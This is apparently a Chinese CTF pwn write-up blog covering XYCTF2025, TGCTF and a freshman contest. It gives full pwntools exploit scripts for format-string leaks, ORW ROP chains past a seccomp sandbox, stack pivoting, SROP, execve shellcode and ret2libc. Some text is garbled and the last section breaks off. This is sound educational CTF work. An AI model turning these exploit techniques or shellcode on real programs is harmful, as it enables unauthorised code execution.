国内比赛 XYCTF2025 girlfirend check发现保护全开,有菜单但是似乎不是堆题
发现有system("echo /flag");
但是没有/bin/sh
解析各个选择
1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 __int64 lll1 () { char buf[56 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); if ( dword_4094 ) { puts ("You have already tried to talk to her, and she left..." ); } else { dword_4094 = 1 ; puts ("Girl is very beautiful!" ); puts ("what do you want to say to her?" ); read(0 , buf, 0x50 uLL); printf ("You say: %s\n" , buf); puts ("but she left........." ); } return 0LL ; }
发现有栈溢出漏洞,后接printf可以利用该处输出canary的值,因为canary的低字节一般是\x00会将%s截断但是不确定在调用另一个函数后该值是否发生改变Canary 值在程序运行时是固定的,不会随着函数调用而改变。
2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 __int64 get_flag2 () { char v1; puts ("Do you want to buy her flowers?" ); puts ("Y/N" ); v1 = getchar(); while ( getchar() != 10 ) ; if ( v1 == 'Y' || v1 == 'y' ) { if ( dword_4090 <= 200 ) { puts ("you don't have enough money" ); } else { puts ("You did it!\n" ); system("echo /flag" ); } } else { printf ("what a pity!" ); } return 0LL ; }
关键函数,如果输入Y且dword_4090>200即可到达system函数,但是此处不能直接输出flag或者提权也没有/bin/sh想尝试将其参数传为/bin/sh
3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 lll3 () { if ( dword_4098 <= 1 ) { ++dword_4098; puts ("You should tell her your name first" ); read(0 , buf, 0x100 uLL); puts ("your name:" ); printf (buf); puts ("You also get her name: XM" ); puts ("Good luck!" ); } else { puts ("You can only introduce yourself twice." ); } return 0LL ; }
该函数也存在溢出可用其修改dword_4090的值使其能运行到system函数,存在格式化字符串漏洞,可以把/bin/sh写到bss段用该处泄露基地址(因为开了PIE bss段的地址无法确定)
4没啥用
开了沙箱:
注意在调用read时fd也就是第一个参数只能等于0所以得先用close(0)关闭标准输入,使得在read(0,xxx,xxx)时文件指针0能够重定向到opeanat()所打开的那个文件使得flag正常读入
大致思路目前是这样的,首先利用3测格式化字符的偏移尝试输出elf基地址绕过PIE,输出canary,输出函数真实地址拿到libc,接着利用3构造rop链因为没有/bin/sh且禁用了execve所以选择用orw,但是opean也被禁用了但可以用opeanat代替,最后用1进行栈迁移到利用3布置的rop链上
注意在开启了PIE之后gdb调试时无法直接在main函数处下断点需要借助b *$rebase(要下断点的偏移)
当然得先让程序跑起来,ida中显示的地址即为偏移
canary:
printf处存在格式化字符漏洞,可以通过输入改变printf调用时rdi的值也就是格式字符串,printf的格式字符串防在rdi中,后续对应的参数前5个放在寄存器里,也就是RSI RDX RCX R8 R9
后续参数存放到栈上由低地址到高地址。
调用printf函数时的寄存器情况以及栈情况:
可以发现rdi成功变成了我们输入的格式字符,RSI RDX R8 R9中的内容都没有我们想要的那么看栈上的
可以发现第7个参数是mov edi,1的地址可以用这个泄露elf基地址,我们用泄露出来的地址减去该汇编对应偏移就是基地址
IDA中找到该条汇编,偏移为0x18D9
第15个很明显是canary的值因为低字节是’\x00’,为什么确定canary是该处的值呢我们调用1再来看看栈上确定该canary
这里运行到1中获取输入后,可以看到栈上0x7fffffffdfc8对应的值即为canary,因为其在rbp-8处
ibc基址我们选择用第17个参数也就是(__libc_start_call_main+128)的地址先输出一次获取后三位,再通过网址寻找对应libc版本。注意我们只能用__libc_start_call_main搜所以要将得到的后三位减去128
故为0xD90-128=0xD10搜索到实际为这个libc database search
但是此处找libc基址反而是用的mov edi,eax这条指令的偏移来找的,我尝试用__libc_start_call_main的偏移来定基地址但是打不通,怪怪的,而mov edi,eax
我用ROPgadget去找没找到只有用IDA打开libc文件一个个去试试出来其对应偏移为0x29D90
所以我们的格式字符即为%7$p_%15$p_%17$p
1 2 3 4 5 6 7 8 9 10 11 12 13 io.sendlineafter("Your Choice:\n" , str (3 )) io.sendlineafter("You should tell her your name first" ,b'%7$p...%15$p...%17$p...' ) io.recvuntil(b'\nyour name:\n' ) elf_base = int (io.recvuntil(b'...' ,drop=True ),16 )-0x18D9 print (b'pie>>>' +hex (elf_base).encode('utf-8' ))canary = int (io.recvuntil(b'...' ,drop=True ),16 ) print (b'canary>>>' +hex (canary).encode('utf-8' ))libc_base = int (io.recvuntil(b'...' ,drop=True ),16 )-0x29D90 print (b'libc>>>' +hex (libc_base).encode('utf-8' ))
接着再次用3来构造rop链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 payload = flat([ 'flag\x00\x00\x00\x00' ,0 , 0 ,0 , 0 ,0 , 0 ,pop_rdi_ret, 0 ,close_addr, pop_rdi_ret,-100 , pop_rsi_ret,bss_addr, pop_rdx_r_ret,0x0 ,0 , opnat_addr, pop_rdi_ret,0 , pop_rdx_r_ret,0x100 ,0 , read_addr, pop_rdi_ret,1 , pop_rdx_r_ret,0x100 ,0 , pop_rax_ret,1 , write_addr, ])
首先将’flag’填充到8个字节压到byte_4060处后面的6个零是为了不将关键ROP覆盖到那几个bss段上的全局变量上防止后面运行不起来,加上flag总共0x38个字节,接着就是orw
1 2 3 4 close(0) opeanat(-100,bss_addr,0) //-100表示当前工作目录 read(0,bss_addr,0x100) write(1,bss_addr,0x100)
注意rop链刚好100字节不能用sendline发送会多一个字节,所以我们都使用send发送
最后就是栈迁移了
1 payload1 = b'a' *0x38 + p64(canary) + p64(bss_addr+0x30 )+p64(leave_ret)
因为迁移后rsp会在rbp基础上+8所以rbp只设置为bss_addr+0x30
2025-4-10浮现了7-8个小时第一次浮现出全保护的题并且全部搞懂非常开心~~
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *io = remote('gz.imxbt.cn' ,20623 ) elf = ELF("./pwn" ) libc=ELF("./libc2.so" ) context(arch='amd64' , os='linux' , log_level='debug' ) io.sendlineafter("Your Choice:\n" , str (3 )) io.sendlineafter("You should tell her your name first" ,b'%7$p...%15$p...%17$p...' ) io.recvuntil(b'\nyour name:\n' ) elf_base = int (io.recvuntil(b'...' ,drop=True ),16 )-0x18D9 print (b'pie>>>' +hex (elf_base).encode('utf-8' ))canary = int (io.recvuntil(b'...' ,drop=True ),16 ) print (b'canary>>>' +hex (canary).encode('utf-8' ))libc_base = int (io.recvuntil(b'...' ,drop=True ),16 )-0x29D90 print (b'libc>>>' +hex (libc_base).encode('utf-8' ))bss_addr = elf_base + 0x004060 pop_rdi_ret = libc_base + 0x000000000002a3e5 pop_rsi_ret = libc_base + 0x0000000000130202 pop_rdx_r_ret = libc_base + 0x000000000011f2e7 pop_rax_ret = libc_base + 0x0000000000045eb0 pop_rcx_ret = libc_base + 0x000000000003d1ee syscall_ret = libc_base + 0x0000000000091316 leave_ret = libc_base + 0x000000000004da83 opnat_addr = libc_base + libc.sym['openat' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] close_addr = libc_base + libc.sym['close' ] payload = flat([ 'flag\x00\x00\x00\x00' ,0 , 0 ,0 , 0 ,0 , 0 ,pop_rdi_ret, 0 ,close_addr, pop_rdi_ret,-100 , pop_rsi_ret,bss_addr, pop_rdx_r_ret,0x0 ,0 , opnat_addr, pop_rdi_ret,0 , pop_rdx_r_ret,0x100 ,0 , read_addr, pop_rdi_ret,1 , pop_rdx_r_ret,0x100 ,0 , pop_rax_ret,1 , write_addr, ]) io.sendlineafter("Your Choice:\n" , str (3 )) io.sendafter("You should tell her your name first" ,payload) io.recvuntil("your name:\n" ) payload1 = b'a' *0x38 + p64(canary) + p64(bss_addr+0x30 )+p64(leave_ret) io.sendlineafter("Your Choice:\n" , str (1 )) io.sendafter("what do you want to say to her?" ,payload1) io.interactive()
Ret2libc’s Revenge 一题看似简单的libc,实则不简单
checksec
1 2 3 4 5 6 7 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
漏洞函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 __int64 revenge () { int v0; char v2[528 ]; int v3; char v4; int v5; int v6; v5 = 0 ; while ( !feof(stdin ) ) { v4 = fgetc(stdin ); if ( v4 == 10 ) break ; v0 = v6++; v5 = v0; v2[v0] = v4; } v3 = v6; v2[v6] = 0 ; return v3; }
main函数就是简单的用puts输出了一段内容然后调用漏洞函数,漏洞函数逐个字符循环读取键盘输入到v2中存在栈溢出,但是这道题难在没有关键gadget:”pop rdi;ret”导致无法直接构造rop链泄露libc版本,唯一一个pop只有pop rbp可能只能靠这个来传参然后就卡住了
浮现版:
观察发现revenge函数内存在数组溢出,注意缓冲区的设置
1 2 3 4 5 6 7 __int64 init () { setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 0 , 0LL ); setvbuf(stderr , 0LL , 0 , 0LL ); return 0LL ; }
输入流设置的无缓冲,输出流设置的全缓冲
程序中并没有fflush函数,想要改变setbuf的参数也比较困难故选择将缓冲区填满使得我们能够用puts泄露出其实际地址来找libc
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *context(arch='amd64' ,log_level='debug' ) io = remote("47.94.103.208" ,22660 ) elf = ELF('./pwn' ) libc = ELF("./libc1.so" ) s = lambda data :io.send(data) sa = lambda text,data :io.sendafter(text, data) sl = lambda data :io.sendline(data) sla = lambda text,data :io.sendlineafter(text, data) r = lambda num=4096 :io.recv(num) rl = lambda :io.recvline() ru = lambda text :io.recvuntil(text) uu32 = lambda :u32(io.recvuntil(b"\xf7" )[-4 :].ljust(4 ,b"\x00" )) uu64 = lambda :u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 ,b"\x00" )) inf = lambda s :info(f"{s} ==> 0x{eval (s):x} " ) bss = 0x404100 gadget1 = 0x0000000000401180 xor_rsi = 0x00000000004010e4 add_rsi_rbp20 = 0x00000000004010eb rbp = 0x000000000040117d ret =0x000000000040101a magic = 0x00000000004010eb pay = b'a' *0x218 +b'\x18' +b'\x02' +b'\x00' *2 +b'\x1d' +b'\x02' +b'\x00' *2 +p64(bss+0x220 )+p64(0x401207 ) sl(pay) ret = 0x000000000040101a pay = b'a' *(0x200 -8 )+p64(0x404060 )+p64(0x404018 )+p64(0 )*2 +b'\x18' +b'\x02' +b'\x00' *2 +b'\x1d' +b'\x02' +b'\x00' *2 +p64(0x404300 -0x20 )\ +p64(xor_rsi)+p64(add_rsi_rbp20)+p64(gadget1)+p64(0x401070 )\ +p64(rbp)+p64(0x4042e0 -0x20 )+p64(xor_rsi)+p64(add_rsi_rbp20)+p64(gadget1)+p64(xor_rsi)+p64(0x4010a0 )+p64(rbp)+p64(bss+0x420 )+p64(0x401207 ) sl(pay) rl() puts = u64(rl()[:-1 ].ljust(8 ,b'\x00' )) inf('puts' ) libc.address = puts - libc.sym['puts' ] system = libc.sym['system' ] pay = b'a' *(0x200 -8 )+p64(0x404758 )+p64(0x404018 )+p64(0 )*2 +b'\x18' +b'\x02' +b'\x00' *2 +b'\x1d' +b'\x02' +b'\x00' *2 +p64(0x4044f8 -0x20 )+p64(xor_rsi)+p64(add_rsi_rbp20)+p64(gadget1)+p64(ret)*2 +p64(ret)*0x40 +p64(system)+b'/bin/sh\x00' sl(pay) io.interactive()
商丘师范学院新生赛4.7 浅红欺醉粉,肯信有江梅
nc连接直接ls``cat
领取你的小猫娘
简单栈溢出
exp
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) io=process('./pwn' ) io=remote('challenge.qsnctf.com' ,30010 ) elf=ELF('./pwn' ) system=0x40121B payload=b'a' *(0x50 +8 )+p64(system) io.sendline(payload) io.interactive()
当时只道是寻常 主要汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text:0000000000401000 48 83 EC 08 sub rsp, 8 .text:0000000000401004 B8 01 00 00 00 mov eax, 1 .text:0000000000401009 BF 01 00 00 00 mov edi, 1 ; fd .text:000000000040100 E 48 BE 00 20 40 00 00 00 00 00 mov rsi, offset msg ; buf .text:0000000000401018 BA 3 A 00 00 00 mov edx, 3 Ah ; ':' ; count .text:000000000040101 D 0F 05 syscall ; LINUX - sys_write .text:000000000040101F B8 00 00 00 00 mov eax, 0 .text:0000000000401024 BF 00 00 00 00 mov edi, 0 ; fd .text:0000000000401029 48 89 E6 mov rsi, rsp ; buf .text:000000000040102 C BA 00 04 00 00 mov edx, 400 h ; count .text:0000000000401031 0F 05 syscall ; LINUX - sys_read .text:0000000000401033 BA 08 00 00 00 mov edx, 8 ; count .text:0000000000401038 B8 01 00 00 00 mov eax, 1 .text:000000000040103 D BF 01 00 00 00 mov edi, 1 ; fd .text:0000000000401042 48 89 E6 mov rsi, rsp ; buf .text:0000000000401045 0F 05 syscall ; LINUX - sys_write .text:0000000000401047 5 D pop rbp .text:0000000000401048 C3 retn
伪代码
1 2 3 4 5 6 7 8 9 10 signed __int64 start() { signed __int64 v0; // rax signed __int64 v1; // rax char v3[8]; // [rsp+0h] [rbp-8h] BYREF v0 = sys_write(1u, &msg, 58uLL); v1 = sys_read(0, v3, 0x400uLL); return sys_write(1u, v3, 8uLL); }
+asdfghjkZ现场v不那么,。/l一开始看到是系统调用read有点蒙,直接用gdb调试
有/bin/sh存在栈溢出,什么保护都没开但不能直接构造rop链gadget不太够用这里尝试伪造栈帧通过系统调用sys_rt_sigreturn 改变寄存器状态从而系统调用execve(“/bin/sh,0,0”)
要系统调用execve(“/bin/sh,0,0”)需要控制以下寄存器
1 2 3 4 rdi --> /bin/sh地址(题目中给到了) rsi --> 0 rdx -->0 rax -->3b
故通过伪造信号帧的方式来调整寄存器的值
先利用已有gadget进行系统调用 sys_rt_sigreturn
1 payload=b'a' *0x8 +p64(pop_rax)+p64(0xf )+p64(syscall)
因为是系统调用read只在最后有pop rbp ret的操作故栈上前8个字节会弹到rbp中rsp+8,原rbp处变成了返回地址弹到rip中,故只填充8个字节pop_rax会被放到rip中执行
利用pwntool库中的SigreturnFrame函数伪造信号帧并将其转换为字节序列压入栈中
1 2 3 4 5 6 7 8 fake = SigreturnFrame() fake.rax = 0x3b fake.rdi = 0x40203A fake.rdx = 0 fake.rsi = 0 fake.rsp = 0x402044 fake.rip = 0x401045 payload+=bytes (fake)
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context.update(arch='amd64' ,os='linux' ,log_level='debug' ) debug=1 if debug: p=process('./pwn01' ) else : p=remote('challenge.qsnctf.com' ,30956 ) pop_rax=0x000000000040104a bin_sh=0x40203a payload=b'a' *8 payload+=p64(pop_rax) payload+=p64(0xf ) payload+=p64(0x401045 ) fake = SigreturnFrame() fake.rax = 0x3b fake.rdi = 0x40203A fake.rdx = 0 fake.rsi = 0 fake.rsp = 0x402044 fake.rip = 0x401045 payload+=bytes (fake) +gdb.attach(p) p.send(payload) p.interactive()
我觉君非池中物,咫尺蛟龙云雨
虽然保护全开但是用 mprotect函数使得bss段可读写执行故直接写shellcode即可
注意要小于0x30个字节我用了个24字节的
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) io=remote('challenge.qsnctf.com' ,32618 ) elf=ELF('./pwn' ) payload = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" print (payload)io.recvuntil('window.' ) io.sendline(payload) io.interactive()
江南无所有,聊赠一枝春
简单ret2text
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) io=remote('challenge.qsnctf.com' ,32599 ) gift = 0x4011DC payload=b'a' *(0x40 +0x8 )+p64(gift) io.sendline(payload) io.interactive()
TGCTF 签到 简单的签到题,栈溢出构造rop链泄露libc基地址接着构造system(/bin/sh)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from LibcSearcher import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=remote('node1.tgctf.woooo.tech' ,32243 ) libc = ELF('./libc.so.6' ) elf=ELF('./pwn' ) main=elf.symbols['main' ] puts_got=elf.got['puts' ] puts_plt=0x401060 pop_rdi_ret=0x401176 ret=0x40101a payload=b'a' *(0x70 +8 )+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendline(payload) puts=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print (hex (puts))libc_base=puts-libc.symbols['puts' ] system=libc_base+libc.symbols['system' ] bin_sh=libc_base+0x1d8678 payload1=b'a' *(0x70 +8 )+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system) io.sendline(payload1) io.interactive()
shellcode checksec
1 2 3 4 5 6 [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
题目提示够用了仔细看寄存器
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 __fastcall main (int a1, char **a2, char **a3) { void *buf; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); puts ("hello hacker" ); puts ("try to show your strength " ); buf = mmap(0LL , 0x1000 uLL, 7 , 34 , -1 , 0LL ); read(0 , buf, 18uLL ); mprotect(buf, 0x1000 uLL, 4 ); sub_11C9(buf); return 0LL ; }
buf位于栈上被改为可读可写可执行,后续buf作为参数被传入rdi中调用sub_11C9函数,汇编如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 .text:00000000000011C9 F3 0F 1E FA endbr64 .text:00000000000011CD 55 push rbp .text:00000000000011CE 48 89 E5 mov rbp, rsp .text:00000000000011D1 41 57 push r15 .text:00000000000011D3 41 56 push r14 .text:00000000000011D5 41 55 push r13 .text:00000000000011D7 41 54 push r12 .text:00000000000011D9 53 push rbx .text:00000000000011DA 48 89 7D D0 mov [rbp+var_30], rdi .text:00000000000011DE 48 8B 7D D0 mov rdi, [rbp+var_30] .text:00000000000011E2 48 31 C0 xor rax, rax .text:00000000000011E5 48 31 DB xor rbx, rbx .text:00000000000011E8 48 31 C9 xor rcx, rcx .text:00000000000011EB 48 31 D2 xor rdx, rdx .text:00000000000011EE 48 31 F6 xor rsi, rsi .text:00000000000011F1 4D 31 C0 xor r8, r8 .text:00000000000011F4 4D 31 C9 xor r9, r9 .text:00000000000011F7 4D 31 D2 xor r10, r10 .text:00000000000011FA 4D 31 DB xor r11, r11 .text:00000000000011FD 4D 31 E4 xor r12, r12 .text:0000000000001200 4D 31 ED xor r13, r13 .text:0000000000001203 4D 31 F6 xor r14, r14 .text:0000000000001206 4D 31 FF xor r15, r15 .text:0000000000001209 48 31 ED xor rbp, rbp .text:000000000000120C 48 31 E4 xor rsp, rsp .text:000000000000120F 48 89 FF mov rdi, rdi .text:0000000000001212 FF E7 jmp rdi .text:0000000000001212 .text:0000000000001212 sub_11C9 endp
会将除RDI RIP外的所有寄存器清零故在设置execve(‘/bin/sh,0,0’)时我们不用管rsi和rdx,只用看rdi和rax就好了,关键在于如何让rdi的值为/bin/sh的地址,注意只能是/bin/sh的地址 ,因为execve的各个参数都是指针,如果直接将/bin/sh这个具体字符赋值给rdi函数会无法解析,选择将/bin/sh写在buf上,然后通过rsp传递/bin/sh
1 2 3 4 lea rsp, [rdi + 11] ;4字节将rdi指向的地址加上 11后的结果赋值给rsp(刚好指向/bin/sh) mov rdi,rsp ;3字节将rsp的值赋给rdi mov al,0x3b ;2字节将rax的值设置为0x3b syscall ;2字节系统调用
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=remote('node2.tgctf.woooo.tech' ,30243 ) elf=ELF('./pwn' ) shellcode = asm(''' lea rsp, [rdi + 11] mov rdi,rsp mov al,0x3b syscall ''' )payload = shellcode+ b'/bin/sh' io.send(payload) io.interactive()
新姿势:lea用于计算内存地址并将结果存储在目标寄存器中,相较于先add再mov更省字节
stack checksec
1 2 3 4 5 6 7 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main函数
1 2 3 4 5 6 7 8 9 10 11 __int64 __fastcall main (int a1, char **a2, char **a3) { setbuf (stdin, 0LL ); setbuf (stdout, 0LL ); setbuf (stderr, 0LL ); std::operator <<<std::char_traits<char >>(&std::cout, "welcome! could you tell me your name?\n" ); read (0 , &unk_404060, 0xA8uLL ); std::operator <<<std::char_traits<char >>(&std::cout, "what dou you want to say?\n" ); sub_4011FA (); return 0LL ; }
sub_4011FA()函数
1 2 3 4 5 6 7 8 9 void *sub_4011FA () { signed __int64 v0; char buf[56 ]; void *retaddr; v0 = sys_read (0 , buf, 0x50uLL ); return retaddr; }
sub_4011FA()函数很明显存在栈溢出但是要构造rop链来泄露libc明显不太够main函数中还有个read可以读很多数据到data段
data段从unk_404060开始
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 .data:0000000000404060 00 unk_404060 db 0 ; DATA XREF: main+62↑o .data:0000000000404061 00 db 0 .data:0000000000404062 00 db 0 .data:0000000000404063 00 db 0 .data:0000000000404064 00 db 0 .data:0000000000404065 00 db 0 .data:0000000000404066 00 db 0 .data:0000000000404067 00 db 0 .data:0000000000404068 00 db 0 .data:0000000000404069 00 db 0 .data:000000000040406A 00 db 0 .data:000000000040406B 00 db 0 .data:000000000040406C 00 db 0 .data:000000000040406D 00 db 0 .data:000000000040406E 00 db 0 .data:000000000040406F 00 db 0 .data:0000000000404070 00 db 0 .data:0000000000404071 00 db 0 .data:0000000000404072 00 db 0 .data:0000000000404073 00 db 0 .data:0000000000404074 00 db 0 .data:0000000000404075 00 db 0 .data:0000000000404076 00 db 0 .data:0000000000404077 00 db 0 .data:0000000000404078 00 db 0 .data:0000000000404079 00 db 0 .data:000000000040407A 00 db 0 .data:000000000040407B 00 db 0 .data:000000000040407C 00 db 0 .data:000000000040407D 00 db 0 .data:000000000040407E 00 db 0 .data:000000000040407F 00 db 0 .data:0000000000404080 00 db 0 .data:0000000000404081 00 db 0 .data:0000000000404082 00 db 0 .data:0000000000404083 00 db 0 .data:0000000000404084 00 db 0 .data:0000000000404085 00 db 0 .data:0000000000404086 00 db 0 .data:0000000000404087 00 db 0 .data:0000000000404088 00 db 0 .data:0000000000404089 00 db 0 .data:000000000040408A 00 db 0 .data:000000000040408B 00 db 0 .data:000000000040408C 00 db 0 .data:000000000040408D 00 db 0 .data:000000000040408E 00 db 0 .data:000000000040408F 00 db 0 .data:0000000000404090 00 db 0 .data:0000000000404091 00 db 0 .data:0000000000404092 00 db 0 .data:0000000000404093 00 db 0 .data:0000000000404094 00 db 0 .data:0000000000404095 00 db 0 .data:0000000000404096 00 db 0 .data:0000000000404097 00 db 0 .data:0000000000404098 00 db 0 .data:0000000000404099 00 db 0 .data:000000000040409A 00 db 0 .data:000000000040409B 00 db 0 .data:000000000040409C 00 db 0 .data:000000000040409D 00 db 0 .data:000000000040409E 00 db 0 .data:000000000040409F 00 db 0 .data:00000000004040A0 01 00 00 00 00 00 00 00 qword_4040A0 dq 1 ; DATA XREF: sub_4011FA-2A↑r .data:00000000004040A8 ; unsigned int fd .data:00000000004040A8 01 00 00 00 00 00 00 00 fd dq 1 ; DATA XREF: sub_4011FA-23↑r .data:00000000004040B0 00 db 0 .data:00000000004040B1 00 db 0 .data:00000000004040B2 00 db 0 .data:00000000004040B3 00 db 0 .data:00000000004040B4 00 db 0 .data:00000000004040B5 00 db 0 .data:00000000004040B6 00 db 0 .data:00000000004040B7 00 db 0 .data:00000000004040B8 ; size_t count .data:00000000004040B8 0B 00 00 00 00 00 00 00 count dq 0Bh ; DATA XREF: sub_4011FA-19↑r .data:00000000004040C0 ; char buf[72] .data:00000000004040C0 00 00 00 00 00 00 00 00 00 00+buf db 48h dup(0) ; DATA XREF: sub_4011FA-3C↑o .data:00000000004040C0 00 00 00 00 00 00 00 00 00 00+ ; sub_4011FA-31↑o .data:0000000000404108 2F 62 69 6E 2F 73 68 00 aBinSh db '/bin/sh',0
发现了/bin/sh地址,先记录后续应该用的上,溢出字节数够我们可以覆盖很多内容:qword_4040A0 dq 1;fd dq 1 ;count dq 0Bh 这三个参数很可疑汇编里找找它在哪
sub_4011FA
发现当[rbp+8]处的内容和[rbp+0x28]处的内容不一样时会跳转到loc_4011B6
这个函数
找到这个函数就在sub_4011FA汇编的上面,但是没有对应的函数名称所以在左侧函数名称栏看不到
发现了刚刚我们可以覆盖的那几个参数,分别对应rax ,rdi,rdx,其中通过gdb调试发现rsi的地址是指向0的指针,所以我们可以通过第一个read来覆盖特定参数达到execve(‘/bin/sh,0,0’)
当[rbp+8]处的内容和[rbp+0x28]处的内容不一样时才会跳转到loc_4011B6
这个函数,在未栈溢出覆盖时这两个地方的值是一样的所以我们要覆盖掉rbp+8处的内容使函数能正常跳转
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=remote('node1.tgctf.woooo.tech' ,30764 ) elf=ELF('./pwn' ) bin_sh=0x404108 qword_4040A0_offset = 0x40 fd_offset = 0x48 count_offset = 0x58 payload = b'A' * qword_4040A0_offset payload += p64(0x3b ) payload += b'B' * (fd_offset - qword_4040A0_offset - 8 ) payload += p64(0x404108 ) payload += b'C' * (count_offset - fd_offset - 8 ) payload += p64(0x0000000000000000 ) io.send(payload) payload = b'a' *(0x40 )+b'12345678' *2 io.sendafter(b'want to say?\n' ,payload) io.interactive()
overflow checksec
1 2 3 4 5 6 7 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
check版本老了,实际上没开canary因为静态编译所以误检测了,程序是静态编译的,两段输入第一段通过read读到bss段上可以读0x100个字节,第二段gets读入栈上可以栈溢出控制执行流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[200 ]; int *p_argc; p_argc = &argc; setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stderr [0 ], 0 , 2 , 0 ); puts ("could you tell me your name?" ); read(0 , name, 0x100 ); puts ("i heard you love gets,right?" ); gets(buf); return 0 ; }
目前思路在name处写下rop链进行ret2syscall系统调用execve(‘/bin/sh’,0,0),gets处构造溢出控制执行流即可
因为是全静态编译,gets函数也是静态构造的没有link,所以通过gdb调试进入到gets函数来找偏移
前面还有一个 _uflow 函数调用获取一个字符所以我们的输入起始地址是0xfffd048继续调式
可以看到运行到gets函数结束时旧的ebp在0xffffd118处距离输入即为0xD0这个数据和IDA上的相同但是想要控制执行流并不能将返回地址覆盖在0xD0+4+4处因为main函数汇编ret这里有点不一样
我们先找esp因为最后retn是pop eip将esp指向的地址弹给执行流,来到080498C0处也就是lea esp,[ebp - 8]
ebp是我们可控的,esp现在的地址是[ebp - 8]处紧接着pop ecx
将该处前4个字节弹给ecx后面还要弹两个但是用处不大,就到了0x080498C6处lea esp,[ecx - 4]
此时esp的值被改为了[ecx - 4]也就是[ebp - 8 -4]处所以我们要将返回地址放到[ebp-8]处才能跳转且返回地址的值要加4才是正确的返回地址
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io = remote('node1.tgctf.woooo.tech' ,31579 ) elf = ELF('./pwn' ) name=0x080EF320 int_80=0x08073D70 pop_eax=0x080b470a pop_ebx=0x08049022 pop_ecx=0x08049802 pop_edx=0x08060bd1 bin_sh=name payload = b'/bin/sh\x00' +p32(pop_eax)+p32(0xb )+p32(pop_ebx)+p32(bin_sh)+p32(pop_ecx)+p32(0 )+p32(pop_edx)+p32(0 )+p32(int_80) io.sendlineafter(b'your name?\n' ,payload) payload = b'a' *(0xD0 -0x8 )+p32(name+0x4 +0x8 ) io.sendlineafter(b'right?\n' ,payload) io.interactive()
p32(name+0x4+0x8)加4上面已经讲了,加8是为了跳过/bin/sh\x00
‘占8字节
fmt 利用格式化字符漏洞任意写
checksec
1 2 3 4 5 6 7 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
main函数:
